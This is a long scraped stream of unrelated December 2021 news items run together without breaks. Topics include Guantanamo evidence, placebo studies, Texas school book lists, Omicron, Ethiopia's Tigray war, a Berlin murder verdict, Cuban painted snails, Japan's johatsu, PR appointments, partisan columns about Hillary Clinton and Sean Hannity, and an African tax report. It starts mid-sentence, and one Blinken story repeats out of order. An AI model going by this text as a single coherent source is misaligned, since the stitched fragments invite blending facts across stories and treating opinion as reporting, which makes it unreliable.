three months after they got here and four years after they came into U.S. custody. Such procedures are done at the time of an arrest, Mr. Nashiris lawyers said, to confirm an identity or check for arrest warrants. I really dont know where they were at before I saw them on Guantanamo Bay, said Sheldon J. Beddo, a Naval Criminal Investigative Service agent who was based there in 2006 and oversaw the evidence collection at a location I was not familiar with made up of prefabricated buildings. The question of who was in control of the detainees at Guantanamo Bay during that period has been in dispute for years. In 2014, a Senate Intelligence Committee study not only disclosed that there had been two C.I.A. black sites at the Navy base but also described Camp 7, the prison where Mr. Nashiri, Mr. Mohammed and other high-value detainees were held, as under the operational control of the C.I.A. during their first months at Guantanamo. In the decades after Dr. Beechers trials, researchers investigated what caused this effect. Some proposed that it was predominantly psychological an instance of mind over matter while others found possible biological origins. Scientists discovered that naloxone, a drug developed for patients who overdose on opiates, partly prevented placebo effects, suggesting that the pain relief experienced after taking a placebo might be produced, in part, by activating opioid receptors in the central nervous system. By the time Dr. Maher was completing his training in physical therapy in the 1980s, Dr. Beechers trials were already ingrained in medical folklore, even leaking into popular culture. Dr. Maher recalls a M*A*S*H episode in which the medics fill capsules with sugar scraped from doughnuts to give to wounded soldiers after the morphine supply had run out. Like everyone, I just accepted that it could actually work, he said. His view changed after 2001, when two Danish researchers, Asbjorn Hrobjartsson and Peter C. Gotzsche, published a paper in the New England Journal of Medicine arguing that medical studies had exaggerated placebo effects. They identified what they said was a flaw in the studies designs: Many failed to compare patients who had received placebos against a control group of patients who had not. In such studies, the Danish researchers argued, it was impossible to know whether it was the placebo that was working or something else entirely, like natural healing. When they reviewed studies that did compare placebo groups to no-treatment groups, they found that the placebo effect more or less disappeared. The paper kicked off a debate about study design in placebo research. Dr. Maher, who was by then working in clinical research at the University of Sydney, was initially convinced that the Danish researchers had made a mistake. But when he and one of his students replicated their study, they essentially got the same result. In Texas, after the state passed a law shaping how teachers approach instruction touching on race and gender, Republican politicians zeroed-in on books. Last month, Gov. Greg Abbott directed education officials to investigate any criminal activity in our public schools involving the availability of pornography. A Republican state representative also emailed superintendents a list of 850 books, asking if they were in school libraries or classrooms. The list was a mix of half-century-old novels including The Confessions of Nat Turner by William Styron and works by Ta-Nehisi Coates and Margaret Atwood, as well as edgy young adult books touching on sexual identity. The list is just one example. This fall, a talk by an award-winning writer was canceled. The first Black principal in a Dallas suburb resigned, accused of sanctioning the teaching of critical race theory. This month, a San Antonio district ordered 400 books taken off its shelves for a review. And the state education agency opened an investigation in a district in North Texas over whether it gave students books with sexually explicit content. HALIFAX, Nova Scotia In early November, I flew to southern Africa to report a series of stories about the state of the Covid-19 pandemic in the region. My last afternoon there, South African scientists announced the discovery of the Omicron variant. Hours later, I got on a plane in Johannesburg to head home to Canada. By the time I landed for my connection in Amsterdam on the morning of Nov. 26, the world had gone into full panic mode and I was swept up in a chaotic, at times frightening, tangle of orders and conflicting rules that seemed driven more by fear than medical science. My firsthand journey through Covid response measures has shown me that, two years into this, we have yet to learn how to anticipate how both viruses and people will behave, or how to plan accordingly. We are going to need to get much better at both if we are to get through the next pandemic with less loss of life and less suffering. When my plane touched down, a flight attendant informed us that passengers would need to be tested for the coronavirus before we could continue our journeys. Five hours later, we were still on the tarmac, the plane sealed up tight, with more and more travelers shedding their masks. The pilot said he could not procure food and drink for us because the airport authorities would not permit catering trucks to approach the plane. NAIROBI, Kenya Secret meetings with a dictator. Clandestine troop movements. Months of quiet preparation for a war that was supposed to be swift and bloodless. New evidence shows that Ethiopias prime minister, Abiy Ahmed, had been planning a military campaign in the northern Tigray region for months before war erupted one year ago, setting off a cascade of destruction and ethnic violence that has engulfed Ethiopia, Africas second most populous country. Mr. Abiy, a Nobel Peace Prize laureate seen recently in fatigues commanding troops on the battlefront, insists that war was foisted upon him that ethnic Tigrayan fighters fired the first shots in November 2020 when they attacked a federal military base in Tigray, slaughtering soldiers in their beds. That account has become an article of faith for Mr. Abiy and his supporters. In fact, it was a war of choice for Mr. Abiy one with wheels set in motion even before the Nobel Peace Prize in 2019 that turned him, for a time, into a global icon of nonviolence. JOHANNESBURG Former President Jacob Zuma of South Africa, who was released from prison on medical parole in September, must return to serve the rest of a 15-month sentence linked to his appearance before a corruption investigation, a judge ruled on Wednesday. The former president was imprisoned on contempt charges in June after defying an order to appear before a corruption inquiry examining financial scandals that tainted his tenure as the countrys leader from 2009 to 2018. But Mr. Zuma, 79, applied for medical parole within a month of his incarceration and was granted it after being in prison for just two months. It is not clear when Mr. Zuma will return to prison. After studying the judgment, the Department of Correctional services said it too would launch an appeal, but did not give any detail on what grounds. Mr. Zumas lawyers filed a motion to appeal the judgment within hours of it being issued. They argued that the judge had ignored a doctors assertion that Mr. Zuma is terminally ill, and said that a correctional facility could not provide the necessary medical care. Sending him back to prison would be tantamount to the death sentence, which was abolished in 1995 in South Africa, they said in a statement. He explained that in order to mitigate the risk of the spread of Covid-19 and to prioritize the health and safety of the U.S. traveling party, and those they would otherwise come into contact with, the secretary would be returning to Washington, D.C., out of an abundance of caution, Mr. Price said in a statement as the delegation was leaving Kuala Lumpur. It was Mr. Blinkens first trip to Southeast Asia as secretary of state, and his itinerary was meant to portray the United States as a more reliable ally to nations here than China, the regional heavyweight. The economic competition between the United States and China, which has led to tense diplomatic relations, has been one of President Bidens major foreign policy concerns. The administration is preparing a broader strategy for strengthening its role in the Indo-Pacific region, and Mr. Blinkens travels this week had sought to assure Southeast Asian nations that they would remain a key part of that. The journalist who tested positive for the virus was part of the small group of news media personnel who travel with the secretary of state. The journalist, who was not identified for privacy reasons, tested negative in Jakarta on Monday but then received a positive test for the virus after arriving in Kuala Lumpur, the Malaysian capital, on Tuesday night. Foreign governments have stepped up testing requirements for traveling diplomatic delegations as the Delta and Omicron variants have surged around the world. HONG KONG Hundreds of people were trapped for hours on the roof of a commercial building in Hong Kong after a fire broke out on Wednesday, injuring at least 13 people and forcing firefighters to rescue many by ladder. The fire began about 12:30 p.m., during lunch hour, at the World Trade Center in the crowded neighborhood of Causeway Bay on Hong Kong Island. The 38-story building houses offices, restaurants and a shopping mall on its lower floors. More than 300 people were trapped on the roof for at least three hours, the public broadcaster RTHK reported. By late afternoon, more than 1,200 people had been evacuated from the building, the police said. At least 13 people were sent to hospitals for treatment, many for smoke inhalation, including one person who was semiconscious. The Indian government must enroll sex workers into digital systems that grant access to things like voting and social welfare benefits, the countrys top court ruled, potentially bringing recognition and relief to many thousands of people who have long lived without either. Indias Supreme Court said on Tuesday that the federal and local governments must issue voter and ration cards to sex workers. The panel of three judges also said they should be enrolled in Aadhaar, the biometric system meant to cover the whole country that is often crucial to getting welfare benefits. The fundamental rights are guaranteed to every citizen of the country irrespective of his or her vocation, Indias Supreme Court said on Tuesday. There is a bounden duty on the government to provide basic amenities to the citizens of the country. The court was hearing a plea filed by the Durbar Mahila Samanwaya Committee, a collective of sex workers based in Kolkata, the capital of Indias West Bengal state, that highlighed problems faced by sex workers during the coronavirus pandemic. The collective, which said it has more than 130,000 registered members, said that sex workers faced destitution, and it sought relief measures for female and transgender sex workers across India. KUALA LUMPUR, Malaysia At least 18 people were killed and 18 others were missing after a boat carrying at least 50 Indonesian migrants sank in the South China Sea before dawn on Wednesday, Malaysian officials said. The boat capsized in bad weather around 4:30 a.m. off the coast of Tanjung Balau, a beach town in the southeastern Malaysian state of Johor, an official with the countrys Maritime Enforcement Agency said. Waves were between 12 and 14 feet high at the time of the accident, he said. Fourteen people were rescued after the agency deployed a helicopter and two boats for a search-and-rescue operation just before 9 a.m., said the official, Simon Templer Lo, a deputy director in Johor. One of the rescued was in critical condition. Bernama, Malaysias national news agency, posted a photo on Twitter that it said showed people on a beach recovering the capsized boat from the surf. International students and skilled workers returned to Australia for the first time in 21 months, as the country eased some coronavirus restrictions, even as health authorities predicted a sharp increase in the number of Omicron cases. Visa holders, who had been shut out of Australia since March 2020 when noncitizens were banned from entering the country, arrived in Melbourne and Sydney on Wednesday. On the same day, the island state of Tasmania fully opened its borders to other Australian states for the first time since the start of the pandemic. The authorities have been loosening restrictions ahead of the holidays despite surging case numbers in the states of New South Wales and Victoria, as well as concerns that any outbreaks might overwhelm health systems in states that have been largely free from the coronavirus. In New South Wales, an outbreak stemming from a nightclub event has swelled to over 200 cases since it was first detected six days ago, the authorities said on Wednesday. Nearly 700 people attended the 1970s prom night themed event on Dec. 8. Overall, the state reported 1,360 new cases on Wednesday, compared with 804 the previous day. Security experts and rights groups acknowledge that European governments face legitimate security concerns, and also need to be mindful of political dynamics related to those fears. The French government has long argued that adult women who joined the Islamic State should be tried in Syria and Iraq. But trying them has so far proved impossible since their potential crimes are unclear and because the Kurdish administration that is detaining them is not internationally recognized. Thomas Renard, director of the International Center for Counter-Terrorism in The Hague, said the death Tuesday was likely the first one reported of a woman from Europe in the camps. But he and Letta Tayler, a senior counterterrorism researcher at Human Rights Watch, said that several European children and dozens of detainees from Middle Eastern countries had also died in the fetid, disease-ridden camps. Ms. Tayler said most of the deaths were easily preventable because they were caused by diseases, and that the news of the womans death was emblematic of the neglect of this population by countries outsourcing the care of their citizens to a nonstate actor. Ms. Dose, the lawyer, said her client had joined the Islamic State in 2014 and was captured when its last foothold in Syria fell in 2019, before being moved to the Roj detention camp. She had long suffered from severe diabetes, which required doses of insulin that were in short supply in the camp. Ms. Dose said that she had since 2019 sent dozens of emails and letters to French authorities asking for a medical repatriation. BERLIN A German court ruled on Wednesday that the Russian state had orchestrated the murder of a Chechen former separatist fighter in a Berlin park in the summer of 2019 and sentenced the Russian citizen convicted of pulling the trigger to life in prison. Though the German authorities had previously concluded that the Russian intelligence services were probably involved in the killing, the murder trial in Berlin was a rare instance in which the covert actions of the Russian government to eliminate an enemy on foreign territory were held up to judicial scrutiny. The new German government wasted little time in responding. Shortly after the verdict was announced, the German Foreign Ministry told Russias ambassador that it would be expelling two Russian diplomats, reprising the heightened tensions after the killing that had led to expulsions on both sides. This murder on state orders as determined by the court today constitutes a serious violation of German law and Germanys sovereignty, the foreign minister, Annalena Baerbock, said in a statement. BRUSSELS Faced with a potential vote of censure by the board of the International Atomic Energy Agency, the nuclear watchdog of the United Nations, Iran agreed Wednesday to replace surveillance cameras at a key site that manufactures centrifuges. But Iran continues to block United Nations inspectors from viewing the video those cameras produce, and from replacing the full memory cards in cameras at other sites. Irans refusal to grant the United Nations inspectors full access has further complicated talks in Vienna aimed at trying to restore the 2015 Iran nuclear deal, leaving the negotiators without a clear and complete assessment of Irans nuclear program. European negotiators said this week that the talks were stalled and that time was running out. The agreement with the agency, after a three-month standoff, will allow inspectors to replace cameras at Karaj, which manufactures parts for advanced centrifuges that enrich uranium. Karaj was damaged by an Israeli sabotage attack in June. Malta on Tuesday became the first country in the European Union to agree to formally legalize the use and growing of marijuana for recreational purposes, the latest sign of a more liberal approach to the substance being taken in the bloc in recent years. Its groundbreaking, Owen Bonnici, the Maltese minister for equality, research and innovation who introduced the bill, said in a phone interview. The new law would end the criminalization of people for smoking marijuana and reduce criminal trafficking of the substance, he said. Malta can be a model for harm reduction, he added. The law, passed by Parliament and awaiting only the presidents signature, which is considered a formality, to come into effect, allows people to carry up to seven grams of marijuana, grow up to four plants in their apartments and keep up to 50 grams of dried cannabis at home. Similar forms of decriminalization exist in other European countries, such as the Netherlands, Portugal and Spain, but in those cases, possession of small amount of cannabis can still be a civil offense and coffee shops or cannabis social clubs are tolerated or only de facto allowed by court decisions. LONDON Britain reported 78,610 new coronavirus cases on Wednesday, the highest number of infections in a single day since the start of the pandemic, and stark confirmation that the Omicron variant is rampaging across the country. New cases spiked by a third since Tuesday; the number is more than 10,000 higher than the previous worst day for infections, Jan. 8, when the Alpha variant was ravaging the country. The seven-day average of new cases is 65,008, a 19.1 percent increase over the previous seven-day period. Officials didnt specify what share of the new cases might be Omicron, though they said a majority in London were from the variant. Chris Whitty, the chief medical officer for England, warned that further records would be broken in coming days, with the Omicron variant doubling at a rate of less than every two days in parts of the country. While the effect on hospitalization and mortality rates remains unclear, he warned that Britains National Health Service would face a deluge of patients simply because the growth in cases was so explosive. This is a really serious threat, Dr. Whitty said at a news conference, alongside Prime Minister Boris Johnson and the medical director of primary care for N.H.S. England, Nikki Kanani. It is moving at an absolutely phenomenal pace. KUALA LUMPUR, Malaysia Secretary of State Antony J. Blinken cut short his trip to Southeast Asia on Wednesday after a journalist traveling in his delegation tested positive for the coronavirus. A State Department spokesman said Mr. Blinken has tested negative at every stop on diplomatic visits over the past week to Britain, Indonesia and Malaysia. He had scheduled meetings for Thursday with senior officials in Bangkok, the Thai capital, but canceled to return to the United States. Ned Price, the State Department spokesman, said Mr. Blinken had called the Thai deputy prime minister, Don Pramudwinai, to express his deep regret over the change in plan. He explained that in order to mitigate the risk of the spread of Covid-19 and to prioritize the health and safety of the U.S. traveling party, and those they would otherwise come into contact with, the secretary would be returning to Washington, D.C., out of an abundance of caution, Mr. Price said in a statement as the delegation was leaving Kuala Lumpur. Out of the roughly 1,400 species of land snails that call Cuba home, the six species of the genus Polymita, fondly known as painted snails, are without a doubt the most eye-catching. When it comes to snail per se, theres probably no beating the spectacular red-and-black contrast of the Malaysian fire snail, but as far as shells go, Cubas painted snails are in a class of their own. Just a look at the stunning swirling colors on their shells, and its easy to understand why they are considered by many to be the worlds most beautiful snails. However, this flattering title comes with a downside. Because their dazzling shells are so sought after by collectors, all six species of the genus Polymita are now critically endangered. Photo: James St. John/Flickr The shells of Cuban painted snails come in a variety of colors, from pearl white to pastel yellow and brick red, and each species has its own swirling design and markings. Interestingly, differences in color occur not just between different species of painted snails, but also within individuals of a single species. The reason why that happens is unknown, but scientists have their theories. Some believe that the variation in coloring is an evolutionary trait designed to confuse predators, making it hard for them to home on in on specimens of a certain species. That sounds plausible, but whether or not this is the reason for the snails different colorations, or if they provide some other advantage remains unknown. Cuban painted snails inhabit a very thin belt of vegetation along Cubas eastern coastline, where they feed on lichen and moss full of minerals that give their shells that stunning look. Because of their relatively small habitat, the gastropods are particularly vulnerable to land clearing by coffee growers, to predation by native and introduced predators as well as to climate change. But perhaps the most worrying cause of Polymita snails critically endangered tag is poaching. There was once a time when locals collected painted snail shells for souvenirs without threatening the existence of the gastropods, but nowadays the global demand by collectors and merchants has become so great that its a real problem. Collecting Cuban painted snails either for sale in Cuba or trading abroad is strictly prohibited, but while authorities have reportedly been very effective at preventing tourists from taking snail shells as souvenirs, their fight against organized illegal trade for the black market has been less successful. There are indeed organized trafficking networks in Cuba, Reynaldo Estrada, a researcher with the Antonio Nunez Jimenez Foundation for Humankind and Nature, told National Geographic. The true serious illegal trade for the black market is linked to a well-organized team of people. To help protect the beautiful Cuban painted snails, scientists are trying to educate both Cubans and foreigners about the gastropods vulnerability and increasing rarity. They are also working with farmers to get them to care for snails on their land. People vanish from their established lives all the time, but nowhere is this phenomenon as prevalent as in Japan, a country that has even devised a term for the phenomenon johatsu. The most common reasons that drive people to disappear without a trace are exactly the ones youre probably thinking about inescapable debts, loveless relationships and Japans notoriously harsh work culture. But there are certain cultural factors that make these reasons much more serious in Japan than anywhere else. The shame of burdening ones family with debt, going through a divorce which have always been very rare in the Asian country or even quitting a job is considered unbearable by many Japanese people. This only leaves them with very few options taking their own lives rather than living with the shame, working themselves to death, or becoming johatsu, which literally means evaporating from their lives. Photo: Kyle Glenn/Unsplash Japanese sociologist Hiroki Nakamori, who has been studying the johatsu phenomenon in Japan for many years, told BBC that the term started being used in the Asian country during the 60s, when people realized that simply disappearing from their lives was the easiest thing to do both for them and their families. In Japan, its just easier to evaporate, Nakamori said. Police will not intervene unless theres another reason like a crime or an accident. All the family can do is pay a lot for a private detective. Or just wait. Thats all. Privacy is a big deal in Japan, so the people who decide to become johatsu can virtually hide in plain sight without worrying about being discovered. As long as they move far away from the life they are trying to escape, they neednt bother about being spotted on CCTV or using their credit cards at ATMs. Family members cant access security videos and ATM transactions are never tracked. I understand there are stalkers information can be misused. This is a necessary law, perhaps. But criminals, stalkers and parents who cannot search for their own children? All of them are treated the same way due to the protection. What is this? the mother of a 22-year-old johatsu said. With the current law, without money, all I can do is check if [a] dead body is my son the only thing left for me. The johatsu phenomenon is so widespread in Japan that there are even companies that specialize in helping people evaporate. Known as night moving services or fly-by-night shops, these companies assist wannabe johatsu plan their disappearance and also offer temporary lodging in secret locations. The owner of a night moving service told TIME Magazine that depending on how many possessions somebody wants to flee with, how far away they want to hide, and when the evaporation takes place, the price of the operation varies between 50,000 ($450) and 300,000 ($2,600). Taking along children or escaping debt collectors can push up prices even more. This one company owner claimed to help between 100 and 150 people become johatsu every year. For those who cant afford the help of night moving services, or who simply want to do things alone, there are publically accessible johatsu guides bearing titles like Perfect Vanishing: Reset Your Life or The Complete Manual of Disappearance. Courtney Avery Culloton + Bauer Luce, a Chicago-based public affairs and crisis management firm, brings on Courtney Avery as a senior consultant. Avery was previously an administrator with the Illinois Health Facilities and Services Review Board, overseeing the approval and oversight of $3 billion in health care infrastructure and capital improvement projects. At Culloton + Bauer, she will advise CBLs health care clients, including hospital systems, long-term care operators and industry associations, and help them develop public affairs strategies. With two decades of experience in a leading role overseeing health care regulation in Illinois, its safe to say Courtney has seen it all. Were excited for her to share those insights and firsthand experiences to inform how our clients navigate the states regulatory climate, said Culloton + Bauer Luce CEO and president Dennis Culloton. Amy Sedeno CIIC PR promotes Amy Sedeno to vice president. Sedeno, who is also a partner at the agency, spearheaded the launch of CIICs Miami headquarters in 2015. As vice president, she will manage CIICs public relations, marketing, social media and digital services across its account base in the US, Mexico, the Caribbean and Latin America. She will continue to work closely with CIIC founder and CEO Carolyn Izzo-Feldman to lead new business development, talent recruitment and agency partnerships. Amy brings her creativity and business acumen to the task daily, challenging herself and our team to perform at the highest professional level. She has been a crucial part of our agencys success, said Izzo-Feldman. Brian Goldfarb Tenable, a company that help clients handle cyber threats, appoints Brian Goldfarb as CMO. Goldfarb has held the CMO spot at Amperity, Chef Software and Splunk, as well as senior marketing positions at Salesforce, Google and Microsoft. In his new role, he will lead Tenables global marketing organization, positioning the company for growth across all areas of its portfolio, especially cloud security, risk analytics, OT and identity. Brian has a history of developing marketing strategies that drive extraordinary growth and widespread brand awareness, said Tenable chairman and CEO Amit Yoran. Hillary Clinton Shes tanned, rested, ready and has already written a victory speech: Hillary in 2024. Only 22 percent of Americans wants 79-year-old Joe Biden to run for re-election. That figure rises to 37 percent for Democrats. Vice president Kamala Harris gets the nod from 12 percent of Americans and 16 percent of Democrats. Other names hardly register. Transportation Secretary Pete Buttigieg is supported by four percent of Americans. Sen. Elizabeth Warren, Rep. Alexandria Ocasio-Cortez, Georgia governor candidate Stacey Abrams and Rep. Joe Kennedy clock in at three percent. Hillary Clinton may be the best hope for the Democrats, says Joe Concha, opinion contributor at The Hill. He notes that 74-year-old Clinton bathes in the fountain of youth compared to Biden. The former First Lady, Senator and Secretary of State remains in a state of shock that she lost the 2016 race, which the New York Times gave her an 85 percent shot of winning. Clinton may be warming up to run, in the event Biden throws in the towel. On Dec. 10, Clinton for the first time read her 2016 victory speech to a MasterClass that she is giving on the power of resilience. My fellow Americans today you have sent a message to the whole world. We will not be defined only by our differences, we will not be an us versus them country. The American dream is big enough for everyone. Thats what Hillary planned to say on election night 2016. Her message resonates much louder today than it did five years ago. Wake up, Fox Nation. Those phony fire and brimstone talking heads consider you a bunch of suckers. Frantic text messages sent to president Trumps chief of staff Mark Meadows by Sean Hannity, Laura Ingraham and Brian Kilmeade during the Jan. 6 Capitol Hill uprising makes that perfectly clear. Hannity texted Meadows that Trump should make a statement and ask people to leave the Capitol. Two-faced Sean had a very different pitch to his viewers on the evening of Jan. 6, telling them that antifa and other radical groups caused the trouble that injured members of the Capitol Hill police and sullied the image of American democracy. After Congresswoman Liz Cheney, vice chair of the special House committee probing the Jan. 6 riot, outed the Fox trio, Hannity confirmed sending his message to Meadows. He then tried to turn the tables on Cheney, claiming that she had invaded his privacy. She doesnt seem to care, whined Hannity on Dec. 14. Shes interested in one thing and one thing only: smearing Trump and purging him from the party. Poor, pitiful Sean. Cheney doesnt give a fig about your privacy. She's more interested in preserving the Constitution. Cheney wants to know whether Trump through action or inaction tried to obstruct Congress from its official duty of certifying the electoral vote. The Wyoming Republican said on Dec. 14: The mob that attacked this chamber was summoned to Washington by president Trump. And as many of those involved have admitted on videotape, in social media, and in Federal District Court, they were provoked to violence by president Trumps false claims that the election was stolen. As the violence unfolded that afternoon, nearly one year ago, it was evident to all, not only to those of us who were in the chamber at that time. It was covered in real time by almost every news channel. But for 187 minutes, President Trump refused to act. He refused to act when action by our president was required, it was essential, and it was compelled by his oath to our Constitution. Trump finally did respond telling the insurrectionists that they are "very special" and that he loves them. These are the things and events that happen when a sacred landslide election victory is so unceremoniously & viciously stripped away from great patriots who have been badly & unfairly treated for so long. Go home with love & in peace. Remember this day forever! Cheney towers over Hannity when it comes to speaking the truth. 15/12/2021 Successful efforts to increase tax revenues and boost domestic revenue mobilisation in African economies over the last decade have been offset by rising debt-service costs, which amounted to almost two-thirds of the increased revenues generated between 2010 and 2019, according to a new report. Revenue Statistics in Africa 2021 shows that the average tax-to-GDP ratio in Africa was 16.6% in 2019, an increase of 0.3 percentage points (p.p.) from 2018. The report, being launched this week at the African Unions Specialized Technical Committee on Finance, Monetary Affairs, Economic Planning and Integration, covers 30 African countries representing 75% of Africas GDP. Tax-to-GDP ratios in the region ranged from 6.0% in Nigeria to 34.3% in the Seychelles and Tunisia, and increased in 16 countries between 2018 and 2019, while declining in 14. The rise in the Africa (30) average tax-to-GDP ratio between 2018 and 2019 was driven by increases of over 2.5 p.p. in three countries (Equatorial Guinea, Mali and Tunisia) that were partly attributable to tax policy and administration reforms. In spite of this increase, the average tax-to-GDP ratio for Africa in 2019 remained below those of the Asia-Pacific, Latin America and the Caribbean (LAC), and the OECD at 21.0%, 22.9% and 33.8%, respectively. Between 2010 and 2019, the Africa (30) average tax-to-GDP ratio increased by 1.8 p.p., similar to increases in the LAC and the OECD averages over the same period (1.9 p.p. and 2.0 p.p., respectively). However, average non-tax revenues in these 30 African countries decreased from 8.1% of GDP in 2010 to 6.3% in 2019 due to declines in grant revenues and rents and royalties. As a result, total public revenues for the 30 countries included in the report decreased over the decade prior to the COVID-19 pandemic. The report includes a special feature on external debt levels in Africa, which reveals that external debt costs rose by 1.1% of GDP on average between 2010 and 2019, offsetting nearly two-thirds of the average increase in tax levels over this period. The increase in debt-servicing costs, which is attributable to changes in both the level and composition of external debt, will be exacerbated by the adverse impact of the COVID-19 pandemic on public finances and debt levels in the region. While the priority continues to be navigating the challenges of the COVID-19 crisis, in the future further fiscal reforms will be required in African countries to finance developmental goals and to ensure debt sustainability. While some African countries have diversified their tax bases in recent years toward value-added tax and personal income tax (PIT), the continent remains more reliant than other regions on trade taxes and the corporate income tax, which are among the taxes most heavily affected by an economic downturn. PIT and social security contributions accounted for 24.8% of total tax revenues for the Africa (30) average in 2019, compared to 49.2% on average in the OECD (2018 figure). In addition to the COVID-19 crisis, the world is also seeking to respond to the climate crisis. In Africa, there is significant scope to strengthen environmentally-related taxes, which only amounted to 1.1% of GDP in 2019 on average. While this is around the same level as the averages for LAC and Asia-Pacific regions, it remains lower than in the OECD average (2.2% of GDP). There is also scope for greater reliance on property taxes, which only represented 1.9% of total tax revenues, on average, in Africa, or about one-third of the level in OECD countries. Revenue Statistics in Africa is a joint initiative of the African Tax Administration Forum, the African Union Commission, the Organisation for Economic Co-operation and Development and its Development Centre, with technical support from the African Development Bank and the Cercle de Reflexion et dEchange des Dirigeants des Administrations Fiscales. The 2021 edition received financial support from the European Union and is part of the second phase of the Pan-African Statistics Programme, a joint initiative between the European Union and the African Union. To access the report, data, brochure and country notes, visit: https://oe.cd/revstatsafrica Press contacts For further information or to obtain a copy of the report, journalists should contact: A MAN hit a co-worker on the head with a cobblelock mallet when they were working on a footpath in Edenderry, Tullamore Circuit Court has been told. Christopher Doheny, Pike of Rushall, Co Laois, denies assaulting Alan Fisher at JKL Street, Edenderry on October 27 last year when both were working for a Mountmellick company, Dunne Brothers, which was contracted to repair a footpath on the street. Mr Doheny also denies producing a brick mallet during a dispute with Mr Fisher. In his evidence, Alan Fisher said he was working in Edenderry that day with his brother Darren and the accused, Christopher Doheny, was working in a separate area with his son Christopher Junior. Alan Fisher said he had heard that young Chris was insulting the work carried out by himself and his son and because he took offence he confronted him. When a scuffle broke out he punched Christopher Doheny Junior twice and then he remembered feeling a severe impact on the right side of his head which stunned him. Mr Fisher said he had never been hit like that before and he had experience of martial arts. I was just in a daze for a good hour or two after that, he said. He was hospitalised and his cheekbone had to be reconstructed with steel plates and he still suffered from the injury. When CCTV footage was played in court, Mr Fisher said he could see himself being hit by Christopher Doheny Senior with a hammer. Cross-examined by Damien Colgan, SC, defending (instructed by Josephine Fitzpatrick, solicitor), Mr Fisher accepted that there had been some argument with the Dohenys six or seven weeks earlier and he had heard it was said that one of the Fishers was off his head on drugs. He said his brother wasn't taking drugs at the time and while he had been a heroin addict previously, at the time of the offence he was trying to come off it. Mr Fisher also said what happened six or seven weeks earlier was not the reason he had confronted Christopher Doheny Junior. The trial began on Tuesday and is continuing today (Wednesday, December 15). Are you a current print subscriber? You qualify for online access to the Omak Chronicle. To receive your access, create a website account and then verify your print subscription or e-edition subscription with your subscriber number, which may be found on your bill or mailing label. The University of California, Los Angeles (UCLA) is a public land-grant research university in Los Angeles, California. UCLAs academic roots were established in 1882 as a teachers college then known as the southern branch of the California State Normal School. This school was absorbed with the official founding of UCLA as the Southern Branch of the University of California in 1919, making it the second-oldest of the 10-campus University of California system. A range of shoppers and business owners are in Sydneys CBD to enjoy restored freedoms but many are concerned about what the future holds. A Berlin court has convicted a Russian national of murdering an ethnic Chechen of Georgian nationality, giving the man a life sentence. The murder happened in broad daylight in a park in Berlin in the summer of 2019. A Berlin court has convicted a Russian national of murdering an ethnic Chechen of Georgian nationality, giving the man a life sentence. The judge said prosecutors had demonstrated his ties to Russian intelligence. Lithuanian diplomats in China returned to Vilnius for consultations, according to the Foreign Ministry. Vilnius called back its diplomats in response to Beijing's efforts to downgrade its embassy. Germany summoned the Russian ambassador and expelled two diplomates after an alleged FSB operative was found guilty of killing an ethnic Chechen. The 2019 murder took place in broad daylight in central Berlin. Health Minister Lauterbach has said Germany could face vaccine shortages early next year if new doses are not acquired. Finance Minister Lindner has said the country will spend 2.2 billion to buy 92 million jabs. 2008-2022 One News Page Ltd. All rights reserved. One News is a registered trademark of One News Page Ltd. Wales Online 13 Dec 2021 The focus has now turned to accelerating the booster vaccine rollout to all eligible adults in Wales by the end of January Chief Medical Officer Paul Kelly said the travel restrictions were no longer a "proportionate" and "effective" measure given the global spread of Omicron. Police in the eastern state of Saxony launched pre-dawn raids over a potential anti-vaxxer plot to harm state premier Michael Kretschmer. Some suspects claimed to have guns or crossbows. The Karnataka government is likely to issue a stricter set of COVID-19 guidelines soon amid rising fears of the Omicron variant spread. US Secretary of State Antony Blinken said the Biden administration was also looking at designating repression against Myanmars Rohingya Muslim population as "genocide." The head of the European Union's executive branch said Wednesday that omicron is expected to be the dominant coronavirus variant in the 27-nation bloc by mid-January, amid concerns that a dramatic rise in infections will leave Europe shrouded in gloom during the holiday season. A Russian agent has been found guilty of murdering a former Chechen rebel in a Berlin park that a court in Germany said was on orders from Moscow. Leicester Mercury 22 Dec 2021 The new variant is now the dominant strain in many European nations - prompting fears health systems could be pushed to brink of.. Parents have accused the government of lacking empathy, as they remember one of the worst attacks in Pakistan's history. Imran Khan is negotiating with the TTP which is responsible for the deaths of 132 children. A verdict in a brazen murder in Berlin that shocked Germany has been reached. A Russian man may have been in the dock but President Putin and the Russian state were also blamed, says Christian F. Trippe. Prime Minister Justin Trudeau is scheduled to speak with Canada's premiers tonight at 6 p.m. ET to discuss the possibility of stricter public health measures in response to the omicron coronavirus variant. By Jordan Bond, RNZ Government officials think the testing requirement to leave Auckland from today might only catch a quarter of the number of Covid-19 cases leaving.To leave Auckland, unvaccinated people are required to show... A medley of mayors upset at the Government's Three Waters reforms turned up at Parliament to voice their displeasure and meet with politicians."We don't all have green slime, and frogs coming out of our taps," Manawatu District... Prime Minister Scott Morrison has been the subject of a COVID-19 scare after attending school graduation, and he was determined as casual contact at the event. Daily Record 15 Dec 2021 Deputy First Minister John Swinney said the Scottish Government could not rule out introducing new measures to halt the spread of.. The Police Service of Northern Ireland (PSNI) was wrong not to investigate allegations of torture in the case of the Hooded Men, the Supreme Court has ruled. During a tribute to her career at the Museum of Modern Art in New York (MoMA), Penelope Cruz recalled the Betamax videotape store that opened in her neighbourhood, in a suburb of Madrid, when she was a child and that made her discover cinema. SNP Westminster leader Ian Blackford has called on the Prime Minister to confirm if there is any new money to support businesses amid the surge in Omicron cases, accusing him of smoke and mirrors. A federal judge on Tuesday threw out a lawsuit filed by former President Donald Trump, who was trying to block the release of his taxes to Congress. In his ruling, Judge Trevor McFadden deferred to the need for Congress to carry out "facially valid inquiries." A D.C. official is suing two extremist groups for the attack on the U.S. Capitol. The U.S. marks another sobering pandemic milestone. President Biden heads to Kentucky to survey tornado damage. The lightning spread of the Omicron COVID-19 variant is prompting federal politicians to reconsider the wisdom of having several hundred MPs crammed together in the House of Commons. Upworthy 16 Dec 2021 A class-action lawsuit has been filed against Mayfield Consumer Products on behalf of candle factory workers alleging they were.. The measure, which raises the limit by $2.5tr (1.9tr), comes days before a potential US default. An inquiry into missing and murdered First Nations women and children will be held in Australia after the countrys Senate voted to a launch a committee to investigate systemic causes of violence. South African farmworkers should be allowed to enter the United States with an H-2A visa, argue a group of more than 60 American agricultural groups. Prime Minister Justin Trudeau has consulted the premiers on additional border and travel measures that could help slow the community spreading of COVID-19. Opalesque Industry Update - Union Bancaire Privee (UBP), UBP SA, announced a step forward in its commitment to impact investing with the launch of the UBAM - Biodiversity Restoration fund, a unique collaboration between the financial, corporate and conservation sectors. The business case for investing in biodiversity is strong. 